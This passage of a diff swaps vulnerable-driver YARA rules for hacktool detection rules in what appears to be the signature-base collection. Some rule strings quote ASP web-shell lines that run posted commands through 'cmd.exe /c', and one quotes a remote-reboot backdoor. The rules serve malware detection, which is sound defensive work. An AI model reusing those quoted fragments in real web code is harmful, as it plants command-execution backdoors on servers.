+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1456-L1472"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "166fa8c5a0ebb216c832ab61bf8872da556576a7"
+		logic_hash = "9dab03b70b249c0c481e3bc98c3196e83da93ea2723674d38baf32469392d52a"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500069006e00640075006f00640075006f0020004c0074006400200043006f00720070 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e003100330037003900300034 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e003100330037003900300034 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500069006e00640075006f00640075006f00200053006500630075007200650020005600440049 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310035002d0032003000320031002000500069006e00640075006f00640075006f00200043006f00720070006f0072006100740069006f006e }
+		$s0 = "Text Files (*.txt);;All Files (*)" fullword ascii
+		$s1 = "http://ubrute.com" fullword ascii
+		$s11 = "IP - %d; Password - %d; Combination - %d" fullword ascii
+		$s14 = "error.txt" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_18DE : FILE
+import "pe"
+
+rule SIGNATURE_BASE_DK_Brute
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
-		author = "Florian Roth"
-		id = "c3b0b3b0-9281-5d90-bf26-6c4c46c4143b"
-		date = "2023-06-14"
+		description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file DK Brute.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c9ea0dcf-10f3-5161-aebc-2db04c24b0a5"
+		date = "2014-11-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6582-L6602"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "18deed37f60b6aa8634dda2565a0485452487d7bce88afb49301a7352db4e506"
-		logic_hash = "d01aeb1783377e6067976e6955e63495706c96c8d6c113b393a47e6fe17992f0"
-		score = 40
+		reference = "http://goo.gl/xiIphp"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1474-L1491"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "93b7c3a01c41baecfbe42461cb455265f33fbc3d"
+		logic_hash = "a48ba3513c9c99066e9dda02859089e9e1db15e7bd52443795771609f011c94a"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760069007200610067007400360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000310031002c002000320030003100320020002d0020007700770077002e007400670073006f00660074002e00690074 }
+		$s6 = "get_CrackedCredentials" fullword ascii
+		$s13 = "Same port used for two different protocols:" fullword wide
+		$s18 = "coded by fLaSh" fullword ascii
+		$s19 = "get_grbToolsScaningCracking" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_8CFD : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Vubrute_Config
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "4affbef6-26ac-5087-a881-32fad34fd192"
-		date = "2023-06-14"
+		description = "PoS Scammer Toolbox - http://goo.gl/xiIphp - file config.ini"
+		author = "Florian Roth (Nextron Systems)"
+		id = "25cad108-b2d6-5886-bb2f-e614e05649fa"
+		date = "2014-11-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6605-L6625"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8cfd5b2102fbc77018c7fe6019ec15f07da497f6d73c32a31f4ba07e67ec85d9"
-		logic_hash = "5bc5d8a6cd02e9a684515ea333084c788353641cb29ff08f18a1066d533cf0ed"
-		score = 40
+		reference = "http://goo.gl/xiIphp"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1493-L1513"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b9f66b9265d2370dab887604921167c11f7d93e9"
+		logic_hash = "b4c54d5ecb269c7310b5bd2a9e8fe5d6c75503f8cb1f25679399e25185d9cb51"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0037002e0034003200340036002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$s2 = "Restore=1" fullword ascii
+		$s6 = "Thread=" ascii
+		$s7 = "Running=1" fullword ascii
+		$s8 = "CheckCombination=" fullword ascii
+		$s10 = "AutoSave=1.000000" fullword ascii
+		$s12 = "TryConnect=" ascii
+		$s13 = "Tray=" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_D5C4 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Hunt
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "9994e1c0-b86b-578d-8002-554584e1de2b"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set (old stuff) - file hunt.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5d9d1f99-2f12-51e9-a554-b349e19d00fb"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6628-L6648"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d5c4ff35eaa74ccdb80c7197d3d113c9cd38561070f2aa69c0affe8ed84a77c9"
-		logic_hash = "d6ad094f2e26ff574917770a94af31110f2ed68e47ee082ad4adfcd7376679a5"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1515-L1534"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f9f059380d95c7f8d26152b1cb361d93492077ca"
+		logic_hash = "66d22c4dc2864d61bd485d6840887905f020fce8e19bb976ec09acaa6ed0387c"
+		score = 60
+		quality = 83
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0036002e0033003900370039002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0036002e0033003900370039002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }
+		$s1 = "Programming by JD Glaser - All Rights Reserved" fullword ascii
+		$s3 = "Usage - hunt \\\\servername" fullword ascii
+		$s4 = ".share = %S - %S" fullword wide
+		$s5 = "SMB share enumerator and admin finder " fullword ascii
+		$s7 = "Hunt only runs on Windows NT..." fullword ascii
+		$s8 = "User = %S" fullword ascii
+		$s9 = "Admin is %s\\%s" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Wj_Kprocesshacker_7021 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Listip
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - kprocesshacker.sys"
-		author = "Florian Roth"
-		id = "dd2a2bfd-12be-5cdb-8293-c51220015bd9"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set (old stuff) - file listip.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "417faf20-ee07-5c3e-bfcf-89599e38e62e"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6651-L6670"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "70211a3f90376bbc61f49c22a63075d1d4ddd53f0aefa976216c46e6ba39a9f4"
-		logic_hash = "e5d17a5b57183c3a27815b5b64014e9d95f49129cd451c62380ba8e1b4d25be6"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1536-L1554"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f32a0c5bf787c10eb494eb3b83d0c7a035e7172b"
+		logic_hash = "db5cc21e8c76fdd10953ba0f06c4a1ad319ee522d9def7777dad66612b51edfc"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b00500072006f0063006500730073004800610063006b00650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0077006a00330032 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b00500072006f0063006500730073004800610063006b00650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006b00700072006f0063006500730073006800610063006b00650072002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004c006900630065006e00730065006400200075006e006400650072002000740068006500200047004e0055002000470050004c002c002000760033002e }
+		$s0 = "ERROR!!! Bad host lookup. Program Terminate." fullword ascii
+		$s2 = "ERROR No.2!!! Program Terminate." fullword ascii
+		$s4 = "Local Host Name: %s" fullword ascii
+		$s5 = "Packed by exe32pack 1.38" fullword ascii
+		$s7 = "Local Computer Name: %s" fullword ascii
+		$s8 = "Local IP Adress: %s" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_76E8 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Arttrayhookdll
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "2d26b107-7fcb-5acd-94e4-ed18c399ad66"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set (old stuff) - file ArtTrayHookDll.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "324561fc-024c-5583-aa25-6b13e9616898"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6673-L6693"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "76e807b6c0214e66455f09a8de8faad40b738982ca84470f0043de0290449524"
-		logic_hash = "0a9822cd471bb7fdaab454e824e31e1dcd685f9226c4fa34af4f13dd228dc97b"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1556-L1570"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4867214a3d96095d14aa8575f0adbb81a9381e6c"
+		logic_hash = "e43cefdb11df870f4732e74782ecefb94c0a4850c4aa994e4fbc940f523d2434"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00320030002e0030002e0031003000300038 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00320030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "ArtTrayHookDll.dll" fullword ascii
+		$s7 = "?TerminateHook@@YAXXZ" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Biostargroup_Iodriver_Biostariodriver_1D03 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Eee
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BS_HWMIO64_W10.sys"
-		author = "Florian Roth"
-		id = "ea157129-3347-5ba0-a115-928b4aef345f"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set (old stuff) - file eee.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9d3ad3a9-0498-5ca3-ac19-f250cb10c4d3"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6696-L6716"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1d0397c263d51e9fc95bcc8baf98d1a853e1c0401cd0e27c7bf5da3fba1c93a8"
-		logic_hash = "26e886b28b40a920558a652197a0d7a31fc5f7b239d3886fdf0f44da4590dabb"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1572-L1591"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "236916ce2980c359ff1d5001af6dacb99227d9cb"
+		logic_hash = "b12c11f46125a33a2d7d9d02f25762c07b9d5088f70887c000b29e82a7921399"
+		score = 60
+		quality = 60
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049002f004f00200049006e00740065007200660061006300650020006400720069007600650072002000660069006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00420049004f0053005400410052002000470072006f00750070 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002c00200030002c00200031003800300036002c00200032003200300030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002c00200030002c00200031003800300036002c00200032003200300030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049002f004f0020006400720069007600650072 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00420049004f005300540041005200200049002f004f0020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053005f00480057004d0049004f00360034005f005700310030002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310038002d0032003000310039002000420049004f0053005400410052002000470072006f00750070 }
+		$s0 = "szj1230@yesky.com" fullword wide
+		$s3 = "C:\\Program Files\\DevStudio\\VB\\VB5.OLB" fullword ascii
+		$s4 = "MailTo:szj1230@yesky.com" fullword wide
+		$s5 = "Command1_Click" fullword ascii
+		$s7 = "software\\microsoft\\internet explorer\\typedurls" fullword wide
+		$s11 = "vb5chs.dll" fullword ascii
+		$s12 = "MSVBVM50.DLL" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_E2E7 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Aspbackdoor_Asp4
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "ec02c434-7918-5212-85f6-5ee417940b7c"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set (old stuff) - file asp4.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7718aa71-fc0f-505c-a035-b78ae0438653"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6719-L6739"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e2e79f1e696f27fa70d72f97e448081b1fa14d59cbb89bb4a40428534dd5c6f6"
-		logic_hash = "9f77c427b54f1a940547cfc206b8d1aed0288d0664a5a124785c7fcec7b90507"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1593-L1613"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "faf991664fd82a8755feb65334e5130f791baa8c"
+		logic_hash = "dab19a2b92bbfe17cb860981d7bd5c3f3dd1a9e7c2ac5093fc4117f9205c1c27"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0034002e0034003200310031002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0034002e0034003200310031002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$s0 = "system.dll" fullword ascii
+		$s2 = "set sys=server.CreateObject (\"system.contral\") " fullword ascii
+		$s3 = "Public Function reboot(atype As Variant)" fullword ascii
+		$s4 = "t& = ExitWindowsEx(1, atype)" ascii
+		$s5 = "atype=request(\"atype\") " fullword ascii
+		$s7 = "AceiveX dll" fullword ascii
+		$s8 = "Declare Function ExitWindowsEx Lib \"user32\" (ByVal uFlags As Long, ByVal " ascii
+		$s10 = "sys.reboot(atype)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_5F69 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Aspfile1
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
-		author = "Florian Roth"
-		id = "04fdd9f7-605b-54ee-849d-44a50ef732d2"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set (old stuff) - file aspfile1.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1b66dec0-22c8-5937-a0b2-22cbc68241ef"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L6742-L6762"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5f69d6b167a1eeca3f6ac64785c3c01976ee7303171faf998d65852056988683"
-		logic_hash = "0242a0398f90468dfc41eb04570a70d5072fe089b270feb1f5ab7fbd2c7a1ffc"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L1615-L1633"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "77b1e3a6e8f67bd6d16b7ace73dca383725ac0af"
+		logic_hash = "4968e44f807f8ffface65e21fd8684ccfaee281b4da10f5110482c3f26ccac26"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0032002e00370020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0032002e0037 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003600200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$s0 = "' -- check for a command that we have posted -- '" fullword ascii
+		$s1 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword ascii
+		$s5 = "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\"><BODY>" fullword ascii
+		$s6 = "<input type=text name=\".CMD\" size=45 value=\"<%= szCMD %>\">" fullword ascii
+		$s8 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword ascii
+		$s15 = "szCMD = Request.Form(\".CMD\")" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		3 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_9679 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Editserver
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
-		author = "Florian Roth"
-		id = "a1b5efd0-2dd2-5c54-86b6-12684d6ea56b"
-		date = "2023-06-14"
+		description = "Disclosed hacktool set (old stuff) - file EditServer.exe"
+		author = "Florian Roth (Nextron Systems)"
